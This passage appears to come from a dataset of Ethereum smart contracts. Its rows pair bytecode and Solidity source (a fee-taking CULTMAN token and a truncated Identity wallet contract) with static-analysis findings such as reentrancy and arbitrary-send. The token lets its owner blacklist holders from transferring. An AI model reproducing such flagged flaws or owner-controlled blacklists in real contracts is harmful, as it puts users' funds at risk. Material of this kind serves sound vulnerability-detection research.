06000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d77d1c10804e0504134f40385d022d37b7acd855de3f392987f693528cef9efd64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,994 |
0xc4907c7dc8b6a208aeb66be3cabed06c9748ba65 | //SPDX-License-Identifier: UNLICENSED
/*
https://t.me/cultmanportal
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CULTMAN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"CULTMAN";
string public constant symbol = unicode"CULTMAN";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 9;
uint public _sellFee = 9;
uint private _feeRate = 15;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (4 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/9;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function listing() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function startTrade() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 10000000 * 10**9;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external onlyOwner() {
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner(){
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
} | 0x6080604052600436106101e75760003560e01c80636c58080111610102578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610560578063db92dbb614610575578063dcb0e0ad1461058a578063dd62ed3e146105aa57600080fd5b8063a9059cbb146104eb578063b2289c621461050b578063b515566a1461052b578063bc7c55ed1461054b57600080fd5b806373f54a11116100d157806373f54a111461048d5780638da5cb5b146104ad57806394b8d8f2146104cb57806395d89b41146101f357600080fd5b80636c5808011461042e5780636fc3eaec1461044357806370a0823114610458578063715018a61461047857600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103aa57806349bd5a5e146103ca578063590f897e146104025780636755a4d01461041857600080fd5b806331c2d8471461032557806332d873d8146103455780633bbac5791461035b57806340b9a54b1461039457600080fd5b80631940d020116101b65780631940d020146102b357806323b872dd146102c957806327f3a72a146102e9578063313ce567146102fe57600080fd5b806306fdde03146101f3578063095ea7b31461023c5780630b78f9c01461026c57806318160ddd1461028e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102266040518060400160405280600781526020016621aaa62a26a0a760c91b81525081565b6040516102339190611785565b60405180910390f35b34801561024857600080fd5b5061025c6102573660046117ff565b6105f0565b6040519015158152602001610233565b34801561027857600080fd5b5061028c61028736600461182b565b610606565b005b34801561029a57600080fd5b50670de0b6b3a76400005b604051908152602001610233565b3480156102bf57600080fd5b506102a5600d5481565b3480156102d557600080fd5b5061025c6102e436600461184d565b61069b565b3480156102f557600080fd5b506102a56106ef565b34801561030a57600080fd5b50610313600981565b60405160ff9091168152602001610233565b34801561033157600080fd5b5061028c6103403660046118a4565b6106ff565b34801561035157600080fd5b506102a5600e5481565b34801561036757600080fd5b5061025c610376366004611969565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a057600080fd5b506102a560095481565b3480156103b657600080fd5b5061028c6103c5366004611986565b610795565b3480156103d657600080fd5b506008546103ea906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b34801561040e57600080fd5b506102a5600a5481565b34801561042457600080fd5b506102a5600c5481565b34801561043a57600080fd5b5061028c61083b565b34801561044f57600080fd5b5061028c610a37565b34801561046457600080fd5b506102a5610473366004611969565b610a44565b34801561048457600080fd5b5061028c610a5f565b34801561049957600080fd5b5061028c6104a8366004611969565b610ad3565b3480156104b957600080fd5b506000546001600160a01b03166103ea565b3480156104d757600080fd5b50600f5461025c9062010000900460ff1681565b3480156104f757600080fd5b5061025c6105063660046117ff565b610b4b565b34801561051757600080fd5b506007546103ea906001600160a01b031681565b34801561053757600080fd5b5061028c6105463660046118a4565b610b58565b34801561055757600080fd5b5061028c610c71565b34801561056c57600080fd5b5061028c610e76565b34801561058157600080fd5b506102a5610e8c565b34801561059657600080fd5b5061028c6105a53660046119ad565b610ea4565b3480156105b657600080fd5b506102a56105c53660046119ca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006105fd338484610f21565b50600192915050565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161063090611a03565b60405180910390fd5b6009548210801561064b5750600a5481105b61065457600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106a8848484611045565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106d7908490611a4e565b90506106e4853383610f21565b506001949350505050565b60006106fa30610a44565b905090565b6000546001600160a01b031633146107295760405162461bcd60e51b815260040161063090611a03565b60005b81518110156107915760006005600084848151811061074d5761074d611a65565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078981611a7b565b91505061072c565b5050565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161063090611a03565b600081116107ff5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610630565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161063090611a03565b600f5460ff16156108b25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610630565b6006546108d29030906001600160a01b0316670de0b6b3a7640000610f21565b6006546001600160a01b031663f305d71947306108ee81610a44565b6000806109036000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109909190611a96565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109e9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611ac4565b50600f805460ff1916600117905542600e55662386f26fc10000600c5566470de4df820000600d55565b47610a4181611422565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a895760405162461bcd60e51b815260040161063090611a03565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610afd5760405162461bcd60e51b815260040161063090611a03565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610830565b60006105fd338484611045565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161063090611a03565b60005b81518110156107915760085482516001600160a01b0390911690839083908110610bb157610bb1611a65565b60200260200101516001600160a01b031614158015610c02575060065482516001600160a01b0390911690839083908110610bee57610bee611a65565b60200260200101516001600160a01b031614155b15610c5f57600160056000848481518110610c1f57610c1f611a65565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c6981611a7b565b915050610b85565b6000546001600160a01b03163314610c9b5760405162461bcd60e51b815260040161063090611a03565b600f5460ff1615610ce85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610630565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610d4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d719190611ae1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de29190611ae1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190611ae1565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6000610e8130610a44565b9050610a418161145c565b6008546000906106fa906001600160a01b0316610a44565b6000546001600160a01b03163314610ece5760405162461bcd60e51b815260040161063090611a03565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610830565b6001600160a01b038316610f835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610630565b6001600160a01b038216610fe45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610630565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561106b57600080fd5b6001600160a01b0383166110cf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610630565b6001600160a01b0382166111315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610630565b600081116111935760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610630565b600080546001600160a01b038581169116148015906111c057506000546001600160a01b03848116911614155b156113c3576008546001600160a01b0385811691161480156111f057506006546001600160a01b03848116911614155b801561121557506001600160a01b03831660009081526004602052604090205460ff16155b156112b657600f5460ff1661126c5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610630565b42600e5460f061127c9190611afe565b11156112b257600c5482111561129157600080fd5b600d5461129d84610a44565b6112a79084611afe565b11156112b257600080fd5b5060015b600f54610100900460ff161580156112d05750600f5460ff165b80156112ea57506008546001600160a01b03858116911614155b156113c35760006112fa30610a44565b905080156113ac57600f5462010000900460ff161561137d57600b546008546064919061132f906001600160a01b0316610a44565b6113399190611b16565b6113439190611b35565b81111561137d57600b5460085460649190611366906001600160a01b0316610a44565b6113709190611b16565b61137a9190611b35565b90505b600061138a600983611b35565b90506113968183611a4e565b91506113a1816115d0565b6113aa8261145c565b505b4780156113bc576113bc47611422565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061140557506001600160a01b03841660009081526004602052604090205460ff165b1561140e575060005b61141b8585858486611600565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610791573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a0576114a0611a65565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151d9190611ae1565b8160018151811061153057611530611a65565b6001600160a01b0392831660209182029290920101526006546115569130911684610f21565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061158f908590600090869030904290600401611b57565b600060405180830381600087803b1580156115a957600080fd5b505af11580156115bd573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b600f805461ff00191661010017905580156115f2576115f23061dead83611045565b50600f805461ff0019169055565b600061160c8383611622565b905061161a86868684611646565b505050505050565b600080831561163f57821561163a575060095461163f565b50600a545b9392505050565b6000806116538484611723565b6001600160a01b038816600090815260026020526040902054919350915061167c908590611a4e565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116ac908390611afe565b6001600160a01b0386166000908152600260205260409020556116ce81611757565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171391815260200190565b60405180910390a3505050505050565b6000808060646117338587611b16565b61173d9190611b35565b9050600061174b8287611a4e565b96919550909350505050565b30600090815260026020526040902054611772908290611afe565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117b257858101830151858201604001528201611796565b818111156117c4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a4157600080fd5b80356117fa816117da565b919050565b6000806040838503121561181257600080fd5b823561181d816117da565b946020939093013593505050565b6000806040838503121561183e57600080fd5b50508035926020909101359150565b60008060006060848603121561186257600080fd5b833561186d816117da565b9250602084013561187d816117da565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118b757600080fd5b823567ffffffffffffffff808211156118cf57600080fd5b818501915085601f8301126118e357600080fd5b8135818111156118f5576118f561188e565b8060051b604051601f19603f8301168101818110858211171561191a5761191a61188e565b60405291825284820192508381018501918883111561193857600080fd5b938501935b8285101561195d5761194e856117ef565b8452938501939285019261193d565b98975050505050505050565b60006020828403121561197b57600080fd5b813561163f816117da565b60006020828403121561199857600080fd5b5035919050565b8015158114610a4157600080fd5b6000602082840312156119bf57600080fd5b813561163f8161199f565b600080604083850312156119dd57600080fd5b82356119e8816117da565b915060208301356119f8816117da565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a6057611a60611a38565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a8f57611a8f611a38565b5060010190565b600080600060608486031215611aab57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ad657600080fd5b815161163f8161199f565b600060208284031215611af357600080fd5b815161163f816117da565b60008219821115611b1157611b11611a38565b500190565b6000816000190483118215151615611b3057611b30611a38565b500290565b600082611b5257634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ba75784516001600160a01b031683529383019391830191600101611b82565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a49eec11ab5031e24d14e6925d764e067d74c9bcfed58abcbc724d6715066eb664736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,995 |
0xbf07a0df119ca234634588fbdb5625594e2a5bca | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
// @TODO: Formatting
library LibBytes {
// @TODO: see if we can just set .length =
function trimToSize(bytes memory b, uint newLen)
internal
pure
{
require(b.length > newLen, "BytesLib: only shrinking");
assembly {
mstore(b, newLen)
}
}
/***********************************|
| Read Bytes Functions |
|__________________________________*/
/**
* @dev Reads a bytes32 value from a position in a byte array.
* @param b Byte array containing a bytes32 value.
* @param index Index in byte array of bytes32 value.
* @return result bytes32 value from byte array.
*/
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
// Arrays are prefixed by a 256 bit length parameter
index += 32;
require(b.length >= index, "BytesLib: length");
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
}
interface IERC1271Wallet {
function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue);
}
library SignatureValidator {
using LibBytes for bytes;
enum SignatureMode {
EIP712,
EthSign,
SmartWallet,
Spoof
}
// bytes4(keccak256("isValidSignature(bytes32,bytes)"))
bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e;
function recoverAddr(bytes32 hash, bytes memory sig) internal view returns (address) {
return recoverAddrImpl(hash, sig, false);
}
function recoverAddrImpl(bytes32 hash, bytes memory sig, bool allowSpoofing) internal view returns (address) {
require(sig.length >= 1, "SV_SIGLEN");
uint8 modeRaw;
unchecked { modeRaw = uint8(sig[sig.length - 1]); }
SignatureMode mode = SignatureMode(modeRaw);
// {r}{s}{v}{mode}
if (mode == SignatureMode.EIP712 || mode == SignatureMode.EthSign) {
require(sig.length == 66, "SV_LEN");
bytes32 r = sig.readBytes32(0);
bytes32 s = sig.readBytes32(32);
uint8 v = uint8(sig[64]);
// Hesitant about this check: seems like this is something that has no business being checked on-chain
require(v == 27 || v == 28, "SV_INVALID_V");
if (mode == SignatureMode.EthSign) hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "SV_ZERO_SIG");
return signer;
// {sig}{verifier}{mode}
} else if (mode == SignatureMode.SmartWallet) {
// 32 bytes for the addr, 1 byte for the type = 33
require(sig.length > 33, "SV_LEN_WALLET");
uint newLen;
unchecked {
newLen = sig.length - 33;
}
IERC1271Wallet wallet = IERC1271Wallet(address(uint160(uint256(sig.readBytes32(newLen)))));
sig.trimToSize(newLen);
require(ERC1271_MAGICVALUE_BYTES32 == wallet.isValidSignature(hash, sig), "SV_WALLET_INVALID");
return address(wallet);
// {address}{mode}; the spoof mode is used when simulating calls
} else if (mode == SignatureMode.Spoof && allowSpoofing) {
require(tx.origin == address(1), "SV_SPOOF_ORIGIN");
require(sig.length == 33, "SV_SPOOF_LEN");
sig.trimToSize(32);
return abi.decode(sig, (address));
} else revert("SV_SIGMODE");
}
}
contract Identity {
mapping (address => bytes32) public privileges;
// The next allowed nonce
uint public nonce;
// Events
event LogPrivilegeChanged(address indexed addr, bytes32 priv);
event LogErr(address indexed to, uint value, bytes data, bytes returnData); // only used in tryCatch
// Transaction structure
// we handle replay protection separately by requiring (address(this), chainID, nonce) as part of the sig
struct Transaction {
address to;
uint value;
bytes data;
}
constructor(address[] memory addrs) {
uint len = addrs.length;
for (uint i=0; i<len; i++) {
// @TODO should we allow setting to any arb value here?
privileges[addrs[i]] = bytes32(uint(1));
emit LogPrivilegeChanged(addrs[i], bytes32(uint(1)));
}
}
// This contract can accept ETH without calldata
receive() external payable {}
// This contract can accept ETH with calldata
// However, to support EIP 721 and EIP 1155, we need to respond to those methods with their own method signature
fallback() external payable {
bytes4 method = msg.sig;
if (
method == 0x150b7a02 // bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
|| method == 0xf23a6e61 // bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))
|| method == 0xbc197c81 // bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))
) {
// Copy back the method
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, 0x04)
return (0, 0x20)
}
}
}
function setAddrPrivilege(address addr, bytes32 priv)
external
{
require(msg.sender == address(this), 'ONLY_IDENTITY_CAN_CALL');
